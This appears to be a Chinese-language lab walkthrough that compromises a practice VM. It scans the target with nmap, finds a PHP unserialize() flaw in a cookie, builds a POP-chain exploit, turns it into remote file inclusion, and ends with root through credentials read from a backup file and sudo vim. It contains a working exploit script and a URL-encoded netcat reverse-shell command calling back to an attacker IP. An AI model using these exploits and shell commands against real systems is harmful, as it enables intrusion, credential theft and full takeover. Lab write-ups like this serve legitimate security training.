一、安装靶机
首先创建新的虚拟机。
然后选择客户机版本为Ubuntu 64位。
然后选择使用现有磁盘,选择下载的vmdk磁盘文件即可。剩下的都是默认
二、信息收集
发现主机192.168.204.143
访问
扫描端口nmap -A 192.168.204.143 -p-,发现只有ssh:22和http:80服务的端口
扫描目录
Index.php我们已经访问过了,所以我们访问另一个
点击bak.zip给我下载到了本地打开发现三个php文件,解压打开
打开文件,发现unserialize()反序列函数,通过代码审计发现有用户传入的参数,有可能是php反序列化漏洞
三、漏洞利用
对index页面抓包
将cookiebase64解密之后,确实是序列化
之后便是分析php文件,找pop链(感觉代码放这里看不明显,直接上截图)
cookie有值就直接反序列化,这里包含了uesr.class.php文件,去看一下
uesr.class.php文件
log.class.php
构造exp,记住所有变量前用public修饰
<?php
class Log {
public $type_log = "/etc/passwd ";
}
class User {
public $name;
public $wel;
function __construct($name) {
$this->name = $name;
$this->wel = new Log();
}
}
$us = new User("sk4");
print_r(serialize($us));
?>
得到 O:4:"User":2:{s:4:"name";s:3:"sk4";s:3:"wel";O:3:"Log":1:{s:8:"type_log";s:11:"/etc/passwd";}}之后去base64编码之后,赋值给cookie,成功执行
四、获取shell
因为这样执行命令不太方便,我们可以换一种方式,在本地打开web服务,写个命令执行代码,写到www文件夹里的3.php里面(访问该文件:http://192.168.3.46/3.php
),尝试看能不能远程包含
修改type_log的值,将运行的结果base64编码,改cookie,成功访问,证明可以远程包含
发现一直报错显示无法执行空逗号,我那时候还在疑惑为什么不行,试了很久发现是包含文件是php形式的错,包含的文件会先自己进行解析(这里是test.php,会先按php进行解析),解析之后的内容再到包含文件的地方,按它那里的格式进行解析(这里是php文件,按php解析),因此这里test.php先解析的时候,$_GET['x']没有值,因此报错,而按txt解析的时候不会报这个错误,因为被当做字符串
将test.php换为test.txt,之后重新序列化,编码,写入cookie,参数,发现成功执行
添加反弹shell:
rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.204.136+4444+>/tmp/f
,没有回应,但反弹shell成功
五、提权
执行whoami,发现是www-data用户,查看根目录下的文件,发现敏感文件credentials.txt.bak,我们查看一下
查看文件获取到一个用户名和密码
我们前面信息收集的时候发现22端口是打开的,我们ssh远程登陆一下,输入靶机的ip,再输入我们刚刚得到用户名和密码,登陆
尝试提权,试试sudo vim,进入到命令模式输入!bash
提权成功